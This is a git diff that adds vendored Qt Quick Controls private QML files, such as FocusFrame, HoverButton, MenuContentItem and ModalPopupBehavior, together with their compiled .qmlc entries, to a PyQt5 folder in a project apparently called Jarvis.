anchors.fill: parent + visible: false + smooth: true + } + + ShaderEffectSource { + id: level1 + width: Math.ceil(shaderItem.width / 32) * 32 + height: Math.ceil(shaderItem.height / 32) * 32 + sourceItem: level0 + hideSource: rootItem.visible + sourceRect: transparentBorder ? Qt.rect(-64, -64, shaderItem.width, shaderItem.height) : Qt.rect(0,0,0,0) + smooth: true + visible: false + } + + ShaderEffect { + id: effect1 + property variant source: level1 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level2 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level2 + width: level1.width / 2 + height: level1.height / 2 + sourceItem: effect1 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect2 + property variant source: level2 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level3 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level3 + width: level2.width / 2 + height: level2.height / 2 + sourceItem: effect2 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect3 + property variant source: level3 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level4 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level4 + width: level3.width / 2 + height: level3.height / 2 + sourceItem: effect3 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect4 + property variant source: level4 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level5 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level5 + width: level4.width / 2 + height: level4.height / 2 + sourceItem: effect4 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect5 + property variant source: level5 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level6 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level6 + width: level5.width / 2 + height: level5.height / 2 + sourceItem: effect5 + hideSource: rootItem.visible + visible: false + smooth: true + } + + Item { + id: dummysource + width: 1 + height: 1 + visible: false + } + + ShaderEffectSource { + id: dummy + width: 1 + height: 1 + sourceItem: dummysource + visible: false + smooth: false + live: false + } + + ShaderEffect { + id: shaderItem + x: transparentBorder ? -64 : 0 + y: transparentBorder ? -64 : 0 + width: transparentBorder ? parent.width + 128 : parent.width + height: transparentBorder ? parent.height + 128 : parent.height + + property variant source1: level1 + property variant source2: level2 + property variant source3: level3 + property variant source4: level4 + property variant source5: level5 + property variant source6: level6 + property real lod: rootItem.blur + + property real weight1; + property real weight2; + property real weight3; + property real weight4; + property real weight5; + property real weight6; + + property real spread: 1.0 - (rootItem.spread * 0.98) + property alias color: rootItem.color + + function weight(v) { + if (v <= 0.0) + return 1 + if (v >= 0.5) + return 0 + + return 1.0 - v / 0.5 + } + + function calculateWeights() { + + var w1 = weight(Math.abs(lod - 0.100)) + var w2 = weight(Math.abs(lod - 0.300)) + var w3 = weight(Math.abs(lod - 0.500)) + var w4 = weight(Math.abs(lod - 0.700)) + var w5 = weight(Math.abs(lod - 0.900)) + var w6 = weight(Math.abs(lod - 1.100)) + + var sum = w1 + w2 + w3 + w4 + w5 + w6; + weight1 = w1 / sum; + weight2 = w2 / sum; + weight3 = w3 / sum; + weight4 = w4 / sum; + weight5 = w5 / sum; + weight6 = w6 / sum; + + upateSources() + } + + function upateSources() { + var sources = new Array(); + var weights = new Array(); + + if (weight1 > 0) { + sources.push(level1) + weights.push(weight1) + } + + if (weight2 > 0) { + sources.push(level2) + weights.push(weight2) + } + + if (weight3 > 0) { + sources.push(level3) + weights.push(weight3) + } + + if (weight4 > 0) { + sources.push(level4) + weights.push(weight4) + } + + if (weight5 > 0) { + sources.push(level5) + weights.push(weight5) + } + + if (weight6 > 0) { + sources.push(level6) + weights.push(weight6) + } + + for (var j = sources.length; j < 6; j++) { + sources.push(dummy) + weights.push(0.0) + } + + source1 = sources[0] + source2 = sources[1] + source3 = sources[2] + source4 = sources[3] + source5 = sources[4] + source6 = sources[5] + + weight1 = weights[0] + weight2 = weights[1] + weight3 = weights[2] + weight4 = weights[3] + weight5 = weights[4] + weight6 = weights[5] + } + + Component.onCompleted: calculateWeights() + + onLodChanged: calculateWeights() + + fragmentShader: "qrc:/QtQuick/Controls/Shaders/glow.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/FastGlow.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/FastGlow.qmlc new file mode 100644 index 00000000..71c1c443 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/FastGlow.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/FocusFrame.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/FocusFrame.qml new file mode 100644 index 00000000..570df32b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/FocusFrame.qml @@ -0,0 +1,67 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype FocusFrame + \internal + \inqmlmodule QtQuick.Controls.Private +*/ +Item { + id: root + activeFocusOnTab: false + Accessible.role: Accessible.StatusBar + + anchors.topMargin: focusMargin + anchors.leftMargin: focusMargin + anchors.rightMargin: focusMargin + anchors.bottomMargin: focusMargin + + property int focusMargin: loader.item ? loader.item.margin : -3 + + Loader { + id: loader + z: 2 + anchors.fill: parent + sourceComponent: Settings.styleComponent(Settings.style, "FocusFrameStyle.qml", root) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/FocusFrame.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/FocusFrame.qmlc new file mode 100644 index 00000000..7696bad6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/FocusFrame.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/HoverButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/HoverButton.qml new file mode 100644 index 00000000..bc7f91bb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/HoverButton.qml @@ -0,0 +1,79 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +Item { + id: button + property alias source: image.source + signal clicked + + Rectangle { + id: fillRect + anchors.fill: parent + color: "black" + opacity: mouse.pressed ? 0.07 : mouse.containsMouse ? 0.02 : 0.0 + } + + Rectangle { + border.color: gridColor + anchors.fill: parent + anchors.margins: -1 + color: "transparent" + opacity: fillRect.opacity * 10 + } + + Image { + id: image + width: Math.min(implicitWidth, parent.width * 0.4) + height: Math.min(implicitHeight, parent.height * 0.4) + anchors.centerIn: parent + fillMode: Image.PreserveAspectFit + opacity: 0.6 + } + + MouseArea { + id: mouse + anchors.fill: parent + onClicked: button.clicked() + hoverEnabled: Settings.hoverEnabled + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/HoverButton.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/HoverButton.qmlc new file mode 100644 index 00000000..c2ac174a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/HoverButton.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuContentItem.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuContentItem.qml new file mode 100644 index 00000000..9fcb2f0f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuContentItem.qml @@ -0,0 +1,282 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQml 2.14 as Qml +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Styles 1.1 +import QtQuick.Controls.Private 1.0 + +Loader { + id: menuFrameLoader + + property var __menu + + Accessible.role: Accessible.PopupMenu + + visible: status === Loader.Ready + width: content.width + (d.style ? d.style.padding.left + d.style.padding.right : 0) + height: content.height + (d.style ? d.style.padding.top + d.style.padding.bottom : 0) + + Loader { + id: styleLoader + active: !__menu.isNative + sourceComponent: __menu.style + property alias __control: menuFrameLoader + onStatusChanged: { + if (status === Loader.Error) + console.error("Failed to load Style for", __menu) + } + } + sourceComponent: d.style ? d.style.frame : undefined + + QtObject { + id: d + property var mnemonicsMap: ({}) + readonly property Style style: styleLoader.item + readonly property Component menuItemPanel: style ? style.menuItemPanel : null + + function canBeHovered(index) { + var item = content.menuItemAt(index) + if (item && item.visible && item.styleData.type !== MenuItemType.Separator && item.styleData.enabled) { + __menu.__currentIndex = index + return true + } + return false + } + + function triggerCurrent() { + var item = content.menuItemAt(__menu.__currentIndex) + if (item) + triggerAndDismiss(item) + } + + function triggerAndDismiss(item) { + if (!item) + return; + if (item.styleData.type === MenuItemType.Separator) + __menu.__dismissAndDestroy() + else if (item.styleData.type === MenuItemType.Item) + item.__menuItem.trigger() + } + } + + focus: true + + Keys.onPressed: { + var item = null + if (!(event.modifiers & Qt.AltModifier) + && (item = d.mnemonicsMap[event.text.toUpperCase()])) { + if (item.styleData.type === MenuItemType.Menu) { + __menu.__currentIndex = item.__menuItemIndex + item.__showSubMenu(true) + item.__menuItem.__currentIndex = 0 + } else { + d.triggerAndDismiss(item) + } + event.accepted = true + } else { + event.accepted = false + } + } + + Keys.onEscapePressed: __menu.__dismissAndDestroy() + + Keys.onDownPressed: { + if (__menu.__currentIndex < 0) + __menu.__currentIndex = -1 + + for (var i = __menu.__currentIndex + 1; + i < __menu.items.length && !d.canBeHovered(i); i++) + ; + event.accepted = true + } + + Keys.onUpPressed: { + for (var i = __menu.__currentIndex - 1; + i >= 0 && !d.canBeHovered(i); i--) + ; + event.accepted = true + } + + Keys.onLeftPressed: { + if ((event.accepted = __menu.__parentMenu.hasOwnProperty("title"))) + __menu.__closeAndDestroy() + } + + Keys.onRightPressed: { + var item = content.menuItemAt(__menu.__currentIndex) + if (item && item.styleData.type === MenuItemType.Menu + && !item.__menuItem.__popupVisible) { + item.__showSubMenu(true) + item.__menuItem.__currentIndex = 0 + event.accepted = true + } else { + event.accepted = false + } + } + + Keys.onSpacePressed: d.triggerCurrent() + Keys.onReturnPressed: d.triggerCurrent() + Keys.onEnterPressed: d.triggerCurrent() + + Qml.Binding { + // Make sure the styled frame is in the background + target: item + property: "z" + value: content.z - 1 + restoreMode: Binding.RestoreBinding + } + + ColumnMenuContent { + id: content + x: d.style ? d.style.padding.left : 0 + y: d.style ? d.style.padding.top : 0 + menuItemDelegate: menuItemComponent + scrollIndicatorStyle: d.style && d.style.scrollIndicator || null + scrollerStyle: d.style && d.style.__scrollerStyle + itemsModel: __menu.items + minWidth: __menu.__minimumWidth + maxHeight: d.style ? d.style.__maxPopupHeight : 0 + onTriggered: d.triggerAndDismiss(item) + } + + Component { + id: menuItemComponent + Loader { + id: menuItemLoader + + Accessible.role: opts.type === MenuItemType.Item || opts.type === MenuItemType.Menu ? + Accessible.MenuItem : Accessible.NoRole + Accessible.name: StyleHelpers.removeMnemonics(opts.text) + Accessible.checkable: opts.checkable + Accessible.checked: opts.checked + Accessible.onPressAction: { + if (opts.type === MenuItemType.Item) { + d.triggerAndDismiss(menuItemLoader) + } else if (opts.type === MenuItemType.Menu) { + __showSubMenu(true /*immediately*/) + } + } + + property QtObject styleData: QtObject { + id: opts + readonly property int index: __menuItemIndex + readonly property int type: __menuItem ? __menuItem.type : -1 + readonly property bool selected: type !== MenuItemType.Separator && __menu.__currentIndex === index + readonly property bool pressed: type !== MenuItemType.Separator && __menu.__currentIndex === index + && content.mousePressed // TODO Add key pressed condition once we get delayed menu closing + readonly property string text: type === MenuItemType.Menu ? __menuItem.title : + type !== MenuItemType.Separator ? __menuItem.text : "" + readonly property bool underlineMnemonic: __menu.__contentItem.altPressed + readonly property string shortcut: !!__menuItem && __menuItem["shortcut"] || "" + readonly property var iconSource: !!__menuItem && __menuItem["iconSource"] || undefined + readonly property bool enabled: type !== MenuItemType.Separator && !!__menuItem && __menuItem.enabled + readonly property bool checked: !!__menuItem && !!__menuItem["checked"] + readonly property bool checkable: !!__menuItem && !!__menuItem["checkable"] + readonly property bool exclusive: !!__menuItem && !!__menuItem["exclusiveGroup"] + readonly property int scrollerDirection: Qt.NoArrow + } + + readonly property var __menuItem: modelData + readonly property int __menuItemIndex: index + + sourceComponent: d.menuItemPanel + enabled: visible && opts.enabled + visible: !!__menuItem && __menuItem.visible + active: visible + + function __showSubMenu(immediately) { + if (!__menuItem.enabled) + return; + if (immediately) { + if (__menu.__currentIndex === __menuItemIndex) { + if (__menuItem.__usingDefaultStyle) + __menuItem.style = __menu.style + __menuItem.__popup(Qt.rect(menuFrameLoader.width - (d.style.submenuOverlap + d.style.padding.right), -d.style.padding.top, 0, 0), -1) + } + } else { + openMenuTimer.start() + } + } + + Timer { + id: openMenuTimer + interval: d.style.submenuPopupDelay + onTriggered: menuItemLoader.__showSubMenu(true) + } + + function __closeSubMenu() { + if (openMenuTimer.running) + openMenuTimer.stop() + else if (__menuItem.__popupVisible) + closeMenuTimer.start() + } + + Timer { + id: closeMenuTimer + interval: 1 + onTriggered: { + if (__menu.__currentIndex !== __menuItemIndex) + __menuItem.__closeAndDestroy() + } + } + + onLoaded: { + __menuItem.__visualItem = menuItemLoader + + if (content.width < item.implicitWidth) + content.width = item.implicitWidth + + var title = opts.text + var ampersandPos = title.indexOf("&") + if (ampersandPos !== -1) + d.mnemonicsMap[title[ampersandPos + 1].toUpperCase()] = menuItemLoader + } + + Qml.Binding { + target: menuItemLoader.item + property: "width" + property alias menuItem: menuItemLoader.item + value: menuItem ? Math.max(__menu.__minimumWidth, content.width) - 2 * menuItem.x : 0 + restoreMode: Binding.RestoreBinding + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuContentItem.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuContentItem.qmlc new file mode 100644 index 00000000..13d0eb1c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuContentItem.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuContentScroller.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuContentScroller.qml new file mode 100644 index 00000000..f33d2040 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuContentScroller.qml @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +MouseArea { + id: scrollIndicator + property int direction: 0 + + anchors { + top: direction === Qt.UpArrow ? parent.top : undefined + bottom: direction === Qt.DownArrow ? parent.bottom : undefined + } + + hoverEnabled: visible && Settings.hoverEnabled + height: scrollerLoader.height + width: parent.width + + Loader { + id: scrollerLoader + + width: parent.width + sourceComponent: scrollIndicatorStyle + // Extra property values for desktop style + property var __menuItem: null + property var styleData: { + "index": -1, + "type": MenuItemType.ScrollIndicator, + "text": "", + "selected": scrollIndicator.containsMouse, + "scrollerDirection": scrollIndicator.direction, + "checkable": false, + "checked": false, + "enabled": true + } + } + + Timer { + interval: 100 + repeat: true + triggeredOnStart: true + running: parent.containsMouse + onTriggered: scrollABit() + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuContentScroller.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuContentScroller.qmlc new file mode 100644 index 00000000..83238b25 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuContentScroller.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuItemSubControls.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuItemSubControls.qml new file mode 100644 index 00000000..818b9578 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuItemSubControls.qml @@ -0,0 +1,48 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 + +QtObject { + property Component background: null + property Component label: null + property Component submenuIndicator: null + property Component shortcut: null + property Component checkmarkIndicator: null +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuItemSubControls.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuItemSubControls.qmlc new file mode 100644 index 00000000..f1f2d80b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/MenuItemSubControls.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ModalPopupBehavior.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ModalPopupBehavior.qml new file mode 100644 index 00000000..c9a4b68f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ModalPopupBehavior.qml @@ -0,0 +1,134 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 + +// KNOWN ISSUES +// none + +/*! + \qmltype ModalPopupBehavior + \internal + \inqmlmodule QtQuick.Controls.Private +*/ +Item { + id: popupBehavior + + property bool showing: false + property bool whenAlso: true // modifier to the "showing" property + property bool consumeCancelClick: true + property int delay: 0 // delay before popout becomes visible + property int deallocationDelay: 3000 // 3 seconds + + property Component popupComponent + + property alias popup: popupLoader.item // read-only + property alias window: popupBehavior.root // read-only + + signal prepareToShow + signal prepareToHide + signal cancelledByClick + + // implementation + + anchors.fill: parent + + onShowingChanged: notifyChange() + onWhenAlsoChanged: notifyChange() + function notifyChange() { + if(showing && whenAlso) { + if(popupLoader.sourceComponent == undefined) { + popupLoader.sourceComponent = popupComponent; + } + } else { + mouseArea.enabled = false; // disable before opacity is changed in case it has fading behavior + if(Qt.isQtObject(popupLoader.item)) { + popupBehavior.prepareToHide(); + popupLoader.item.opacity = 0; + } + } + } + + property Item root: findRoot() + function findRoot() { + var p = parent; + while(p.parent != undefined) + p = p.parent; + + return p; + } + + MouseArea { + id: mouseArea + anchors.fill: parent + enabled: false // enabled only when popout is showing + onPressed: { + popupBehavior.showing = false; + mouse.accepted = consumeCancelClick; + cancelledByClick(); + } + } + + Loader { + id: popupLoader + } + + Timer { // visibility timer + running: Qt.isQtObject(popupLoader.item) && showing && whenAlso + interval: delay + onTriggered: { + popupBehavior.prepareToShow(); + mouseArea.enabled = true; + popup.opacity = 1; + } + } + + Timer { // deallocation timer + running: Qt.isQtObject(popupLoader.item) && popupLoader.item.opacity == 0 + interval: deallocationDelay + onTriggered: popupLoader.sourceComponent = undefined + } + + states: State { + name: "active" + when: Qt.isQtObject(popupLoader.item) && popupLoader.item.opacity > 0 + ParentChange { target: popupBehavior; parent: root } + } + } + diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ModalPopupBehavior.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ModalPopupBehavior.qmlc new file mode 100644 index 00000000..a300afa4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ModalPopupBehavior.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ScrollBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ScrollBar.qml new file mode 100644 index 00000000..eea7a737 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ScrollBar.qml @@ -0,0 +1,237 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements 